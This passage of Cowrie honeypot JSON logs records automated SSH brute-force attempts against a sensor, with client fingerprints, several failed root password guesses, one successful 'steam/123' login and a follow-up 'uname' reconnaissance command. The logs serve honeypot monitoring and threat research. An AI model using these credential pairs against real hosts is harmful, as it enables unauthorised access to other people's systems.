sh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:12.804467Z","src_ip":"193.151.144.93","session":"a646dba157be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:13.314083Z","src_ip":"193.151.144.93","session":"a646dba157be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:14.489605Z","src_ip":"193.151.144.93","session":"a646dba157be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44580,"dst_ip":"10.17.0.5","dst_port":22,"session":"147a73868a7c","protocol":"ssh","message":"New connection: 193.151.144.93:44580 (10.17.0.5:22) [session: 147a73868a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:18.068779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:18.073661Z","src_ip":"193.151.144.93","session":"147a73868a7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:18.243102Z","src_ip":"193.151.144.93","session":"147a73868a7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:18.752197Z","src_ip":"193.151.144.93","session":"147a73868a7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:20.794940Z","src_ip":"193.151.144.93","session":"147a73868a7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":34684,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b89c6b9903c","protocol":"ssh","message":"New connection: 193.151.144.93:34684 (10.17.0.5:22) [session: 2b89c6b9903c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:23.635804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:23.641544Z","src_ip":"193.151.144.93","session":"2b89c6b9903c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:23.815115Z","src_ip":"193.151.144.93","session":"2b89c6b9903c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:24.338111Z","src_ip":"193.151.144.93","session":"2b89c6b9903c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:26.401634Z","src_ip":"193.151.144.93","session":"2b89c6b9903c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":34696,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5239242e2dc","protocol":"ssh","message":"New connection: 193.151.144.93:34696 (10.17.0.5:22) [session: b5239242e2dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:29.388442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:29.393155Z","src_ip":"193.151.144.93","session":"b5239242e2dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:29.562168Z","src_ip":"193.151.144.93","session":"b5239242e2dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:30.618784Z","src_ip":"193.151.144.93","session":"b5239242e2dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:31.433964Z","src_ip":"193.151.144.93","session":"b5239242e2dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:31.436411Z","src_ip":"193.151.144.93","session":"b5239242e2dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.4","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:32.826837Z","src_ip":"193.151.144.93","session":"b5239242e2dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:32.832599Z","src_ip":"193.151.144.93","session":"b5239242e2dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":48316,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a94cf353d6c","protocol":"ssh","message":"New connection: 38.93.206.2:48316 (10.17.0.5:22) [session: 9a94cf353d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:34.698151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:34.703707Z","src_ip":"38.93.206.2","session":"9a94cf353d6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:34.763565Z","src_ip":"38.93.206.2","session":"9a94cf353d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxs","message":"login attempt [root/1qazxs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:34.924093Z","src_ip":"38.93.206.2","session":"9a94cf353d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35390,"dst_ip":"10.17.0.5","dst_port":22,"session":"85c01a3f3cd5","protocol":"ssh","message":"New connection: 193.151.144.93:35390 (10.17.0.5:22) [session: 85c01a3f3cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:34.953990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:34.959319Z","src_ip":"193.151.144.93","session":"85c01a3f3cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:35.140033Z","src_ip":"193.151.144.93","session":"85c01a3f3cd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:35.670839Z","src_ip":"193.151.144.93","session":"85c01a3f3cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:35.978023Z","src_ip":"38.93.206.2","session":"9a94cf353d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:36.853001Z","src_ip":"193.151.144.93","session":"85c01a3f3cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44640,"dst_ip":"10.17.0.5","dst_port":22,"session":"c718df021db5","protocol":"ssh","message":"New connection: 193.151.144.93:44640 (10.17.0.5:22) [session: c718df021db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:40.392129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:40.397830Z","src_ip":"193.151.144.93","session":"c718df021db5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:40.568471Z","src_ip":"193.151.144.93","session":"c718df021db5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:41.078257Z","src_ip":"193.151.144.93","session":"c718df021db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:42.252198Z","src_ip":"193.151.144.93","session":"c718df021db5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44654,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9541577297b","protocol":"ssh","message":"New connection: 193.151.144.93:44654 (10.17.0.5:22) [session: c9541577297b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:45.752328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:45.758534Z","src_ip":"193.151.144.93","session":"c9541577297b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:45.934162Z","src_ip":"193.151.144.93","session":"c9541577297b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:46.454203Z","src_ip":"193.151.144.93","session":"c9541577297b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":40500,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3c989daa4ec","protocol":"telnet","message":"New connection: 79.139.59.21:40500 (159.203.135.109:23) [session: c3c989daa4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:47.451157Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:47.626772Z","src_ip":"193.151.144.93","session":"c9541577297b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":53468,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e395e1ed5d5","protocol":"ssh","message":"New connection: 193.151.144.93:53468 (10.17.0.5:22) [session: 9e395e1ed5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:51.148695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:51.153043Z","src_ip":"193.151.144.93","session":"9e395e1ed5d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 